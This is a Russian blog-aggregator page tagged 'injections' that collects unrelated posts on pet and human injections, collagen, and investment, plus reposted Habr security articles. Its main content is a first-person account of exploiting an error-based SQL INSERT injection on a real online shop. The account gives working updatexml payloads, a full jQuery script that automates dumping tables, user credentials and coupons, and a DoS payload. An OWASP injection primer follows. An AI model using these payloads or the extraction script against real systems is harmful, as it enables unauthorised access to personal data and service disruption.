Случайны выбор дневника Раскрыть/свернуть полный список возможностей


Найдено 213 сообщений
Cообщения с меткой

инъекции - Самое интересное в блогах

Следующие 30  »
Катячье

Как ПРАВИЛЬНО сделать кошке укол

Воскресенье, 17 Июля 2016 г. 17:30 (ссылка)

Это цитата сообщения Ирцейс Оригинальное сообщение






  Часто помимо таблеток ветеринар назначает инъекции. Так как лечение требует не одной и не двух инъекций, рано или поздно хозяину кошки приходится учиться делать уколы самостоятельно.

3720816_sdelat_ykol_koshke (640x422, 94Kb)

Когда животное болеет, встает вопрос о том, как делать уколы кошке.

Читать далее
Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
MyDoggyRu

Как сделать укол собаке

Среда, 20 Апреля 2016 г. 19:27 (ссылка)
mydoggy.ru/kak-sdelat-sobake-ukol.html

Иногда наши питомцы заболевают и им необходима бывает наша помощь. Может случится так, что вашей собаке ветеринарный врач порекомендует делать уколы. Но знаете ли вы, как правильно делать уколы собаке?
Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
rss_rss_hh_new

SQLi по прежнему в строю

Вторник, 02 Декабря 2015 г. 02:50 (ссылка)


Для взлома TalkTalk, который привел к краже личных данных порядка 150 000 пользователей, была использована уязвимость, обнаруженная еще до его рождения. Этим методом атаки была SQL инъекция (SQLi). В данном виде атак хакеры обычно вводят вредоносные команды в формы на веб-сайте, чтобы заставит базу сайта выдать нужные данные.







Такой метод использовался для воровства персональных данных сотрудников Всемирной организации здравоохранения, похищения данных Wall Street Journal и взлома сайтов американских федеральных агентств.

Это самый простой способ взломать сайт
Это выражение одного из хакеров, известного под псевдонимом w0rm и ответственного за взлом Wall Street Journal. Вторжение тогда заняло всего несколько часов. Читать дальше →

http://habrahabr.ru/post/272101/

Комментарии (0)КомментироватьВ цитатник или сообщество
rss_rss_hh_new

SQL Insert Injection в одном интернет магазине

Понедельник, 24 Августа 2015 г. 15:56 (ссылка)



Давно на Хабре не звучали истории про SQL injection. А уж рассказов из жизни про SQL INSERT injection вообще очень мало. Поэтому расскажу свою.
Лирическое вступление
Лирическое вступление



Всё началось с моего желания купить себе нечто недешёвое в разборном виде в интернет-магазине A.B.ru фирмы B. После оформления, связи с менеджером по электронной почте, получения посылки и обзора её содержимого оказалось, что некоторых метизов очень не хватает. Полного перечня всего необходимого не было, лишь список болтов, гаек и шайб. Я начал сборку, дойдя до того места, где без отсутствующих болтов уже никак не обойтись. Поэтому мною было скурпулёзно составлено описание не найденных метизов и выслано электронным письмом той же девушке-менеджеру, с которой мы общались. К чести магазина стоит сказать, что практически всё необходимое было выслано второй посылкой. Поэтому я начал сборку, загоняя в дальний угол своего разума опасения о том, что может отсутствовать что-то ещё. Но, дойдя до финишной прямой, оказалось, что примерно 1/4-ой часть устройства не хватает в принципе, судя по фотографиям из руководства и здравому смыслу. Поэтому за первым письмом о недокомплекте последовало второе, куда более обширное, а сборка отложена.

Когда прошла вторая неделя ожидания, мне удалось убедить себя в том, что девушка-менеджер вышла в отпуск. Поэтому я переслал ей письмо двухнедельной давности ещё раз и перешёл к поиску других каналов электронной связи — очень уж не хотелось звонить в Москву. В первую очередь тоже самое письмо было отправлено на общий эл-адрес A@B.ru, на что был получен мгновенный ответ: почтовый сервер отказывается принимать письмо из-за переполненного ящика получателя <мужик>@B.ru. Тогда была найдена форма обратной связи на сайте — последняя ниточка соединяющая меня на текущий момент с интернет-магазином. В первую очередь я описал проблему переполненного почтового ящика и вставил сообщение об отказе доставить письмо, которое содержало в себе одинарные кавычки…



Начало



На попытку отправить отчёт об ошибке через форму обратной связи, на пару секунд на странице появилась ошибка, в которой угадывался голос MySQL. Поэтому я открыл консоль браузера, повторил запрос и заглянул в ответ сервера:



Error displaying the error page: Application Instantiation Error: You have an error in your SQL syntax; at line 1 SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 11:36:37', '', 'Max', '<мой адрес>@gmail.com', '', 'текст, в котором упоминается адрес '<мужика>@B.ru' прямо в одинарных кавычках.', '', '2015-08-04 11:36:37', '0000-00-00 00:00:00', '0');


Итак, найдена SQL insert injection в интернет-магазине, которому я отдал свои кровные.

В первую очередь, я нашёл пару достойных материалов по теме. Самый интересный из них SQL Injection in Insert, Update and Delete Statements (Osanda Malith Jayathissa). Благодаря ему, взгляд упал на функцию updatexml, которая появилась в MySQL 5.1 (т.е. если не сработает, то можно будет сделать соответствующий вывод:
UpdateXML(xml_target, xpath_expr, new_xml)


Смысл использования функции в том, чтобы создать заранее неверный XPath Expression (второй аргумент). Для этого Osanda предлагает делать конкатенацию с символом "~". Что ж, проверяем в локальном MySQL:

mysql> select updatexml(1, '123', 0) from dual;
+------------------------+
| updatexml(1, '123', 0) |
+------------------------+
| NULL |
+------------------------+
1 row in set (0,00 sec)
mysql> select updatexml(1, '~123', 0) from dual;
ERROR 1105 (HY000): XPATH syntax error: '~123'


Да, работает. Теперь формируем тело сообщения для нашего магазина. Первый получившийся запрос выглядел так:

message' or updatexml(1,concat(0x7e,(version())),0) or '', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '1');--'


Потом я немного подумал, и сократил его до:

' or updatexml(1,concat(0x7e,(version())),0) or '


Ответ интернет-магазина:

Error displaying the error page: Application Instantiation Error: XPATH syntax error: '~5.5.41-MariaDB-log' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 12:39:12', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(1,concat(0x7e,(version())),0) or '', '', '2015-08-04 12:39:12', '0000-00-00 00:00:00', '0');


Сработало! Всё крутится на MariaDB 5.5. Отличия от MySQL минимальны, версия 5.5 поддерживает множество полезных операторов и функций. Пройдясь по типичным для подобных ситуаций данным, я вытащил следующую информацию:

version: 5.5.41-MariaDB-log
hostname: db-www
user: A@A.B.ru
database: A


Теперь можно попробовать выполнение полноценных SQL-запросов. В первую очередь, ради интереса, я написать такой:

' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '


Но, разумеется, получил отказ:

Error displaying the error page: Application Instantiation Error: SELECT command denied to user 'A'@'A.B.ru' for table 'user' SQL=INSERT INTO ab_com_feedback (`id`, `ordering`, `state`, `checked_out`, `checked_out_time`, `created_by`, `name`, `email`, `phone`, `ask`, `answer`, `createdate`, `changedate`, `userans`) VALUES (NULL, '0',  '1', '0', '2015-08-04 14:27:21', '', 'Ken', 'ken@mailinator.com', '', '' or updatexml(0, concat(0x7e,(SELECT password FROM mysql.user WHERE user='root')), 0) or '', '', '2015-08-04 14:27:21', '0000-00-00 00:00:00', '0');


Теперь нужно получить список таблиц в текущей БД. Для этого используем доступную с MySQL 5.0 мета-таблицу information_schema:

' or updatexml(0, concat(0x7e,(SELECT concat(table_schema, ':', table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1)), 0) or '


Меняя первый параметр в операторе LIMIT, можно перебрать все текущие таблицы. Меня хватило на
первые 20 штук
    aa:cart
aa:category
aa:includes
aa:items
aa:layout
aa:menu
aa:aabb_ak_profiles
aa:aabb_ak_stats
aa:aabb_ak_storage
aa:aabb_assets
aa:aabb_associations
aa:aabb_banner_clients
aa:aabb_banner_tracks
aa:aabb_banners
aa:aabb_categories
aa:aabb_com_feedback
aa:aabb_com_photo_votes
aa:aabb_com_photo_votes_comment
aa:aabb_com_photo_votes_likes
aa:aabb_com_wishlist




Решаю автоматизировать. Речь идёт об AJAX POST-запросе и на сайте включён jQuery. Нам нужно отправлять сразу несколько запросов — это асинхронная работа, так что я решил сразу подгрузить библиотеку async и попробовать с её помощью получить желаемый список таблиц. Получилась

не очень изящная функция создания и отсылки множества одновременных запросов
$.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js');

(function() {
var ans_start = " '~", // Начало полезной информации в ответе сервера
ans_stop = "' SQL=", // Конец полезной информации
lim = 20,
start_from = 0;

// Куча одновременных AJAX-запросов
async.times(lim, function(i, next) {
var injection = "' or updatexml(0, concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() limit "+ (start_from + i) +", 1)), 0) or '";
$.ajax({
url: '/cli/feedback.php',
method: 'POST',
data: $.param({
data_email: 'undefined',
data_email_body: 'undefined',
data_email_subject: 'Обратная связь - A B',
type: 'feedback',
name: 'Test',
mail: 'test@mailinator.com',
phone: '',
feedbacktext: injection,
else: '',
recipient: 'A@B.ru',
btn: ''
}),
success: function(resp) {
next(null, resp.substring(resp.indexOf(ans_start) + ans_start.length, resp.indexOf(ans_stop)));
},
error: function(jqXHR, textStatus) {
next(textStatus);
}
});
}, function(err, results) {
// Все результаты в конце одним скопом
if (err) return console.error(err);
window.INJ_RESULTS = results; // Опытным путём установил, что из консоли браузера не всегда удобно копировать данные, поэтому лучше привязать их к какой-нибудь глобальной переменной для пост-обработки
console.log(results.join('\n')); // Вывод одной строкой во избежание проблем с копированием
});
})();




Таким образом я получил список первых 20 таблиц, но понял, что одновременно посылать множество запросов нехорошо (на последние из них сервер отвечал в течении 20 секунд). Решил, что не стоит угрожать стабильности работы магазина и поменял функцию async.times на async.timesSeries, чтобы каждый следующий запрос отправлялся после получения ответа на предыдущий. Поменял параметр lim с 20 на 200 и ушёл за чашечкой чая. А когда вернулся, в моём распоряжении был
список всех таблиц
aa:cart
aa:category
<...>
aa:aabb_finder_links
aa:aabb_finder_links_terms0
aa:aabb_finder_links_terms1
<...>
aa:aabb_jcomments_votes
aa:aabb_jsecurelog
aa:aabb_jshopping_addons
<...>
aa:aabb_jshopping_coupons
<...>
aa:aabb_jshopping_shipping_meth
<...>
aa:aabb_jshopping_usergroups
aa:aabb_jshopping_users
<...>
aa:aabb_usergroups
aa:aabb_users
aa:aabb_viewlevels
aa:aabb_weblinks
aa:aabb_wf_profiles
aa:aabb_xmap_items
aa:aabb_xmap_sitemap
aa:modules
aa:orders
aa:oshibka
aa:params
aa:reviews
aa:slideshow
aa:users




Из этого списка стало понятно два факта: стоит Joomla и объем полезной информации ограничен 32-мя символов. Причём первых из них ("~") убрать мы не можем, значит у нас всего 31 символ. Что ж, не так уж мало. Было много интересных таблиц (3 таблицы *users и aabb_jshopping_coupons). Сначала я исследовал структуру таблицы users, модифицируя переменную injection:

' or updatexml(0, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)), 0) or '


id, login, password, email, tel, name, firma, active, date, role


Потом её содержимое с помощью функции CONCAT_WS:

' or updatexml(0, concat(0x7e,(SELECT CONCAT_WS(':',id,login,password) FROM users LIMIT 0,1)), 0) or '


Но каждая запись получалась длинной ровно в 31 символ из-за избытка информации, поэтому сначала нужно было преодолеть это ограничение. Для этого я решил воспользоваться функцией SUBSTRING, а получение новой порции данных реализовать через рекурсию. В итоге получился

вот такой конструктор запросов `ajax93t411`.
$.getScript('https://raw.githubusercontent.com/caolan/async/master/lib/async.js');

// Константы, чтобы потом легче было
var ANS_START = " '~",
ANS_STOP = "' SQL=",
ANS_ERR = "Er",
ANS_LIM = 31;

// Основная функция
// start_from и lim для путешествия по строчкам таблицы
// construct_req - функция, возвращающая строку с запросом
function ajax93t411(start_from, lim, construct_req) {
// значения по умолчанию ня всякий случай
start_from = start_from || 0;
lim = lim || 1;

// Запрос к серверу. i, offset - просто передаются в construct_req
function req(i, offset, callback) {
$.ajax({
url: '/cli/feedback.php',
method: 'POST',
data: $.param({
data_email: 'undefined',
data_email_body: 'undefined',
data_email_subject: 'Обратная связь - A B',
type: 'feedback',
name: 'Test',
mail: 'test@mailinator.com',
phone: '',
feedbacktext: construct_req(start_from, i, offset),
else: '',
recipient: 'A@B.ru',
btn: ''
}),
success: function(resp) {
callback(null, resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP)));
},
error: function(jqXHR, textStatus) {
callback(textStatus);
}
});
}

// Если длина ответа получается равна 31, то делаем смещение и
// ещё один запрос, суммируя результаты
function constructReq(i, full_answer, offset, next) {
req(i, offset, function(err, answer) {
if (err) return next(err, full_answer);

full_answer += answer;
if (answer.length == ANS_LIM) {
constructReq(i, full_answer, offset + ANS_LIM, next);
} else {
next(null, full_answer);
}
});
}

// Путешествуем по заданному количеству строк таблицы
async.timesSeries(lim, function(i, next) {
constructReq(i, '', 1, next);
}, function(err, results) {
if (err) return console.error(err);
window.INJ_RESULTS = results;
console.log(results.join(', '));
});
}




По такому алгоритму данные будут вытягиваться ещё дольше, зато целиком и полностью. Теперь можно создавать сами запросы отдельно от общей логики:

function inj(start_from, i, offset) {
return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',id,login,password,email), "+ offset +", "+ ANS_LIM +") FROM users LIMIT "+ (start_from + i) +",1)), 0) or '"
}
ajax93t411(0, 30, inj)


И первые 30 строк таблицы users в консоли браузера.

function inj(start_from, i, offset) {
return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',username,email,password), "+ offset +", "+ ANS_LIM +") FROM aabb_users LIMIT "+ (start_from + i) +",1)), 0) or '"
}

ajax93t411(0, 30, inj)


Далее опишу лишь наиболее интересные моменты.

Купоны, в т.ч. для Хабра и Гиктаймс, оказались просроченными. Да и свою игрушку я уже купил.

function inj(start_from, i, offset) {
return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':',coupon_code,coupon_value,coupon_start_date,coupon_expire_date), "+ offset +", "+ ANS_LIM +") FROM aabb_jshopping_coupons LIMIT "+ (start_from + i) +",1)), 0) or '"
}

ajax93t411(0, 30, inj)




Все таблицы в полную длину для всех доступных баз данных:

function inj(start_from, i, offset) {
return "' or updatexml(0, concat(0x7e,(SELECT SUBSTRING(concat_ws(':', table_schema, table_name), "+ offset +", "+ ANS_LIM +") FROM information_schema.tables LIMIT "+ (start_from + i) +", 1)), 0) or '"
}

ajax93t411(62, 100, inj); // Первые 62 - это сама information_schema
ajax93t411(162, 100, inj);


Как оказалось, не только интернет-магазин A.B.ru работает на Joomla, но и такой же магазин B.ru на ней же и на том же сервере. Но перспектив от исследования ещё одного сайта я не увидел. В конце концов, моей целью не было получение наживы. Поэтому я решил, что читать данные хорошо, но…



Можно ли что-нибудь записать?



Как оказалось, нет. Так как нам доступны только подзапросы. Решил, что стоит всё же попробовать работу с файлами. Но чтобы не навредить интернет-магазину своими неосторожными действиями, перенесу повествование на собственную машину, где провёл
некоторые опыты
Создаём простейшую таблицу:

mysql> create database test;
Query OK, 1 row affected (0,06 sec)

mysql> create table t(id int, msg text);
Query OK, 0 rows affected (0,70 sec)

mysql> insert into t values (1, 'msg');
Query OK, 1 row affected (0,06 sec)

mysql> select * from t;
+------+------+
| id | msg |
+------+------+
| 1 | msg |
+------+------+
1 row in set (0,00 sec)


Попробуем имитировать SQL insert injection:

mysql> insert into t values (1, '' or updatexml(1, concat('~', version()), 0) or '');
ERROR 1105 (HY000): XPATH syntax error: '~5.6.25-0ubuntu0.15.04.1'

mysql> insert into t values (1, '' or updatexml(1, concat('~', '1234567890123456789012345678901234567890'), 0) or '');
ERROR 1105 (HY000): XPATH syntax error: '~1234567890123456789012345678901'


То же самое ограничение в 32 символа.



Попробуем вывод в файл:

mysql> select 1 from dual into outfile 'test.txt';
Query OK, 1 row affected (0,00 sec)

$ sudo ls -la /var/lib/mysql/test/
итого 124
drwx------ 2 mysql mysql 4096 авг. 11 18:07 .
drwx------ 12 mysql mysql 4096 авг. 11 17:50 ..
-rw-rw---- 1 mysql mysql 65 авг. 11 17:50 db.opt
-rw-rw-rw- 1 mysql mysql 2 авг. 11 18:07 test.txt
-rw-rw---- 1 mysql mysql 8584 авг. 11 17:52 t.frm
-rw-rw---- 1 mysql mysql 98304 авг. 11 17:52 t.ibd

mysql> insert into t values (1, '' or updatexml(1, concat('~', (select 1 from dual into outfile 'test.txt')), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'into outfile 'test.txt')), 0) or '')' at line 1


Ожидаемо, но проверить стоило. Попробуем чтение файла. Так оно выглядит в нормальном виде:

mysql> LOAD DATA INFILE 'test.txt' into table t;
Query OK, 1 row affected, 1 warning (0,08 sec)
Records: 1 Deleted: 0 Skipped: 0 Warnings: 1

mysql> select * from t;
+------+------+
| id | msg |
+------+------+
| 1 | msg |
| 1 | NULL |
+------+------+
2 rows in set (0,00 sec)


Но внутри INSERT INTO тоже не работает:

mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt' into table t)), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt' into table t)), 0) or '')' at line 1
mysql> insert into t values (1, '' or updatexml(1, concat('~', (LOAD DATA INFILE 'test.txt')), 0) or '');
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LOAD DATA INFILE 'test.txt')), 0) or '')' at line 1


В любом случае, применительно к интернет-магазину, полные пути к сайту мне неизвестны, чтобы, например, создать PHP Shell.





Написал в интернет-магазин
Письмо
Здравствуйте.



Случайно обнаружил ошибку на вашем сайте.

Страница A.B.ru/info/about, форма обратной связи.

Если заполнить имя и e-mail, а в теле сообщения использовать символ одинарной кавычки ('), то после нажатия на «Отправить» на экране на некоторое время будет выведена ошибка от используемой СУБД. Если вчитаться и откорректировать текст сообщения, то можно получить любую хранящуюся в БД информацию.



Предлагаю как можно скорее исправить ошибку, проверить все написанные программистом модули/страницы на наличие подобных проблем и закрыть данный источник проблем.

Получил
ответ
Добрый день, Максим.



Спасибо за Ваше замечание, учтём



С уважением,

A B

Подумав, отправил
ещё одно письмо
Если не возражаете, я бы описал свой «спортивный интерес» в статье без ссылок прямых и косвенных на сайт и фирму, разумеется. Сообщите пожалуйста, когда проблема будет исправлена, на всякий случай.





День следующий



Ответа на второе письмо нет. Ну и ладно. Ровно через сутки зашёл на ту же страницу с формой обратной связи. Теперь в поле ввода фильтруются все спец. символы, разумеется, на стороне клиента. Что ж, молодцы, остаётся надеяться, что это просто заплатка на время исправления реальных ошибок. А пока решил продолжить исследования — хочется разобраться до конца.



Как оказалось, полезная часть текста об ошибке в ответе от MariaDB не всегда 32 символа. При попытке получить текст на русском получается выудить лишь 16 символов. Проверил на MySQL — то же самое. Значит, ограничение не в 32 символа, а в 32 байта. Что ж, переделал утилиту ajax93t411:

ajax93t411.js
var ANS_START = " '~",
ANS_STOP = "' SQL=",
ANS_LIM = 31;

function ajax93t411(start_from, lim, construct_req) {
start_from = start_from || 0;
lim = lim || 1; // Can be -1. -1 if for "while no Err"

function req(i, offset, callback) {
$.ajax({

//-- All this params is for customization. Feel free
url: '/cli/feedback.php',
method: 'POST',
data: $.param({
data_email: 'undefined',
data_email_body: 'undefined',
data_email_subject: 'Обратная связь - A B',
type: 'feedback',
name: 'Test',
mail: 'test@mailinator.com',
phone: '',
feedbacktext: construct_req(start_from, i, offset), // Don't forget about this function to include
else: '',
recipient: 'A@B.ru',
btn: ''
}
//---
),
success: function(resp) {
var answer = resp.substring(resp.indexOf(ANS_START) + ANS_START.length, resp.indexOf(ANS_STOP));
if (answer == ANS_ERR) {
callback(answer);
} else {
callback(null, answer);
}
},
error: function(jqXHR, textStatus) {
callback(textStatus);
}
});
}

function constructReq(i, full_answer, offset, next) {
req(i, offset, function(err, answer) {
if (err) return next(err, full_answer);

full_answer += answer;
if (answer.length > 0) {
constructReq(i, full_answer, offset + answer.length, next);
} else {
$('body').append('

'+ full_answer +'

'); // Include each new result into webpage of target site. Just for usability.
next(null, full_answer);
}
});
}

function timesSeries(lim, i, results, callback) {
if (i < lim) {
constructReq(i, '', 1, function(err, answer) {
if (err) return callback(err, results);
results.push(answer);
timesSeries(lim, i + 1, results, callback);
});
} else {
callback(null, results);
}
}

function untilErrSeries(i, results, callback) {
constructReq(i, '', 1, function(err, answer) {
if (err) return callback(err, results);
results.push(answer);
untilErrSeries(i + 1, results, callback);
});
}

function complete(err, results) {
if (err) console.error(err);
window.INJ_RESULTS = results; // Keep all results into the global variable. Just for usability.
console.log('Done');
}

$('body').append('

New Request!

');
if (lim > 0) {
timesSeries(lim, 0, [], complete);
} else { // lim < 0
untilErrSeries(0, [], complete);
}
}




Теперь программа не зависит от константной длины, а продолжает искать конец строки, пока не будет возвращена ошибка (т.е. ответ с текстом ошибки не в том формате, в котором программа его ожидает). Да, чуть больше запросов. Зато нет проблемы с текстами в не latin кодировках. Кроме того, избавился от зависимости от библиотеки async (она присутствовала для скорости разработки и апробирования результатов). А так же добавил возможность не задавать конкретное количество строк в таблице, которые нужно получить, а рекурсивно получать все доступные (до ошибки). А так же добавил вывод результатов работы прямо на страницу сайта, чтобы легче было просматривать.



Возможны ли ужасные последствия такой уязвимости?



Как мы уже выяснили, записать что-то в файл или читать из него не получится даже если у пользователя есть на то права. Зато у нас в кармане таблицы с паролями и эл. адресами всех пользователей и администраторов. Лично я подбирать их и входить на сайт даже не пытался — мне это ни к чему. Тем не менее, можно констатировать факт возможности чтения любой информации из текущей базы данных, а в нашем случае и из соседней.

Другая открываемая подобной уязвимость возможность — это атака DoS, например, вот такой подстановкой:

' or updatexml(0, concat(0x7e,(select benchmark(10000000000000000000000000000000000000000000000, encode('hello', 'world')))), 0) or '




Через неделю



Решил написать

ещё одно письмо
Добрый день.



Вы же понимаете, что текущая заплатка не устраняет уязвимости?



Ответа как и раньше не последовало.



P.S.: Статья опубликована через 13 дней с момента обнаружения уязвимости. Представители интернет-магазина на связь не выходят.

Original source: habrahabr.ru (comments, light).

http://habrahabr.ru/post/264579/

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
Yarinka_ru

Это интересно! Что такое коллаген и почему без него мы стареем

Среда, 15 Июля 2015 г. 11:36 (ссылка)




Коллаген – это белок, который является основой соединительной ткани и благодаря которому, кожа остается молодой и красивой. Он сплетается с эластином, создавая прочные и надежные волокна кожи. С возрастом эти волокна становятся хрупкими и жесткими, кожа лишается упругости, становится тоньше и покрывается морщинами.



Чтобы проверить хватает ли вашей коже коллагена, попробуйте ущипнуть себя за верхнее веко. Если кожа не испытывает дефицит этого белка, она мгновенно разгладится.



Почему происходит снижение коллагена с годами?



У человека с возрастом замедляются обменные процессы, соответственно снижается синтез коллагена. Также количество коллагена напрямую связано с количеством гормонов в организме.



Чтобы коллаген вырабатывался в достаточном количестве необходимо употреблять белок. Усилить его выработку помогают антиоксиданты, витамина С и некоторые растительные экстракты. В чистом виде втереть коллаген в кожу невозможно, так как его молекулы велики и не смогут проникнуть вглубь кожи. Для таких целей прекрасно подходят коллагеновые инъекции или маски. Они способны доставить белок в кожу и запустить процесс обновления.



Как в домашних условиях пользоваться коллагеновыми масками

Читать далее...
Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
СветланкаСК

Внутримышечная инъекция в ягодицу: учимся делать самостоятельно.

Воскресенье, 31 Мая 2015 г. 15:15 (ссылка)

Внутримышечная инъекция — самый распространенный и наиболее простой способ введения в организм лекарственных препаратов. Такие уколы рекомендуется делать в наиболее крупные мышцы в местах, отдаленных от основных кровеносных сосудов и нервов. Именно в ягодичных мышцах у человека находится наиболее мощный слой мышечной ткани, которая имеет мало нервных окончаний. Как правило, для инъекции в ягодицу используют 3 или 5 кубовые шприцы.
После проведения укола внутри мышечной ткани образуется депо, из которого препарат, благодаря разветвленной системе сосудов, попадает в кровь и разносится по организму. Подготовка к инъекции Обязательным условием при введении препаратов в мышцу является соблюдение элементарной гигиены.
Перед уколом следует тщательно вымыть руки. Необходимо подготовить препарат, стерильный шприц, лезвие, которым вскрываются ампулы, вату, спиртовые салфетки или водку. Чтобы инъекция была менее болезненной, рекомендуется использовать длинную тонкую иглу.
Проведение укола
10 (700x555, 166Kb)
Если вы делаете укол другому человеку, лучше всего, чтобы он лежал. В таком положении легче достичь полного расслабления мышц. При проведении инъекции самому себе также желательно принять горизонтальное положение, хотя, при достаточной сноровке, себе укол можно делать и стоя. Игла вводится строго в крайнюю верхнюю четверть ягодичной мышцы. В этом случае вы полностью обезопаситесь от попадания в нерв или кровеносный сосуд.
11 (400x390, 64Kb)
Выполните следующие несложные действия
Извлеките шприц из упаковки и наденьте на него иглу;
Осмотрите ампулы: сверьте название и концентрацию препарата;
Протрите ампулу с препаратом ваткой, смоченной в спирт;
Вскройте ампулу специальным лезвием; Наберите в шприц необходимое количество препарата, не касаясь иглой стенок ампулы;
Протрите спиртовой салфеткой намеченный для введения препарата участок ягодицы;
Поднимите шприц иглой вверх и выпустите небольшую струйку, чтобы в шприце не осталось воздуха; Осторожным сильным движением введите иглу в мышцу под прямым углом; Медленно надавите на шприц и введите препарат;
Достаньте шприц и протрите ваткой место укола, слегка помассировав его. Инъекции, как правило, вводятся не единоразово, а рассчитаны на определенный курс. Некоторые из препаратов, например витамины группы B, доставляют довольно болезненные ощущения. При длительном курсе следует чередовать ягодицы и делать уколы на расстоянии 1-2 см друг от друга. В области укола можно делать йодную сетку, которая ускоряет процесс рассасывания препарата и снижает ощущение боли и дискомфорта.







Читать больше:
http://nasovet.info/topics/vnutrimyshechnaya-inekt...2193401.0465910434722900390625

Метки:   Комментарии (0)КомментироватьВ цитатник или сообщество
dostoynaya

Китайские "инъекции" странам Латинской Америки

Пятница, 29 Мая 2015 г. 21:00 (ссылка)


Премьер Госсовета КНР Ли Кэцян находится с недельным визитом в Латинской Америке, чтобы найти новые возможности для инвестиций в инфраструктуру этих стран.
Читать далее...
Комментарии (0)КомментироватьВ цитатник или сообщество
rss_rss_hh_new

OWASP TOP-10: практический взгляд на безопасность веб-приложений: №1 — инъекции

Четверг, 29 Мая 2015 г. 01:32 (ссылка)

Все сложные, и не очень, системы хранят большое количество данных и различных объектов. Например объектов бизнес-логики, таких как учетные записи пользователей, счета в системе, транзакции, записи журналов операций, и т.д.



Для того, чтобы к этим объектам можно было обращаться, каждый из них, в том или ином виде, имеет свой уникальный идентификатор. Кроме того, объекты могут содержать произвольные наборы полей. Все поля также имеют свои уникальные имена или идентификаторы.



Все эти объекты, и не только эти, хранятся в таблицах, где каждая строка – 1 объект.



Например, объект «Клиент» может иметь следующий набор полей: id, имя, фамилия, e-mail, мобильный телефон, и храниться в таблице вида:



Таблица clients (Клиенты)
















id

(идентификатор)
cl_name

(имя)
cl_sur_name (фамилия) e-mail cell

(мобильный)
other

(и т.п.)
1 Ivan Ivanov ivan@mail +70000000000 42
Суть взаимодействия пользователя с Web-приложением заключается в обмене запросами между браузером и сервером, где браузер отправляет серверу различные параметры и получает от сервера ответ.



Чтобы получить или изменить объекты (например, получить выписку по счету или обновить свою анкету) необходимо запросить ту или иную страницу на сервере (далее по тексту – скрипт). Web-приложения с этой целью используют формы или вызовы непосредственно URL скрипта .



Для обмена данными между браузером и сервером был разработан протокол HTTP. Данные передаются в виде так называемых HTTP-запросов, каждый из которых состоит из заголовка и тела запроса.



Для передачи данных из браузера пользователя на сервер по HTTP-протоколу в основном используются два метода — GET и POST (существуют еще методы PUT и DELETE, но они используются преимущественно в API).



При передаче данных методом GET, все параметры запроса передаются в URL страницы в заголовке HTTP-запроса, например:



http://simplethreats.ru/get_order?order=150




В случае использования метода POST, сервер будет получать данные уже в теле HTTP-запроса, а в URL параметры перечислены не будут. Таким образом, к примеру, отправляется большинство форм, и всегда критичные аутентификационные данные (передача данных в URL небезопасна, ведь записи об URL и заголовки HTTP-запросов остаются в множестве журналов).



Обращения через GET или POST могут производиться к любым объектам, будь то записи в базе данных или же чтение файла (скажем, картинки или скрипта с диска). А так как объектов бизнес-логики в системе может быть очень много и они могут иметь самые различные типы, то и обращений по идентификаторам в рамках одного, даже простого Web-приложения может происходить множество.



С тем, каким образом данные попадают в Web-приложение мы определились, а что же происходит внутри?



Что происходит с параметрами из запроса в приложении



В нашей первой статье мы уже рассказали о том, что, все данные, как правило, хранятся в специальных базах в виде таблиц, обращения к которым строятся в форме текстовых запросов, чаще всего написанных на специальном языке запросов SQL (Structured Query Language – структурированный язык запросов). 



Web-приложения, как правило, строят SQL запросы, сочетающие код написанный разработчиком приложения, с параметрами переданными пользователем. Рассмотрим пример:



SELECT  title, text FROM news WHERE id=$id


В нашем примере, $id – параметр передаваемый пользователем (переменная часть запроса), в то время как остальная часть запроса статическая и была заложена разработчиком приложения. Наличие переменных пользовательских данных в статическом SQL запросе, делает весь запрос динамическим.



В чем суть инъекции?



В случае с SQL, вся суть инъекции в том, чтобы модифицировать параметры HTTP-запроса таким образом, чтобы исказить SQL запрос к базе данных и «подсунуть» его серверу под видом нормального. Это позволит злоумышленнику получить несанкционированный доступ к данным.



Предположим, у нас в базе данных есть таблица «transactions» с данными о транзакциях пользователей. Она содержит следующие поля:




  • «user_id» — Уникальный идентификатор пользователя

  • «date» — Дата

  • «amount» — Сумма

  • «description» — Назначение



Таблица transactions
































user_id date amount description
10 2015-05-26 1000
11 2015-05-26 1500
12 2015-05-26 1300
n 2015-05-26 x
Предположим что наш аккаунт, под которым мы находимся в приложении, имеет идентификатор 10 (user_id=10) и эти данные хранятся в сессии приложения (были записаны туда при авторизации пользователя).



В общем виде, если мы не привилегированный пользователь, мы можем обратиться к базе данных для получения информации по своим транзакциям, т.е. по транзакциям user_id=10.



Для того чтобы нам получить данные о своих транзакциях за 26 мая 2015г. в кабинете пользователя может использоваться страница со следующим адресом:



http://mybank.simplethreats.ru/transactions.jsp?date=2015-05-26


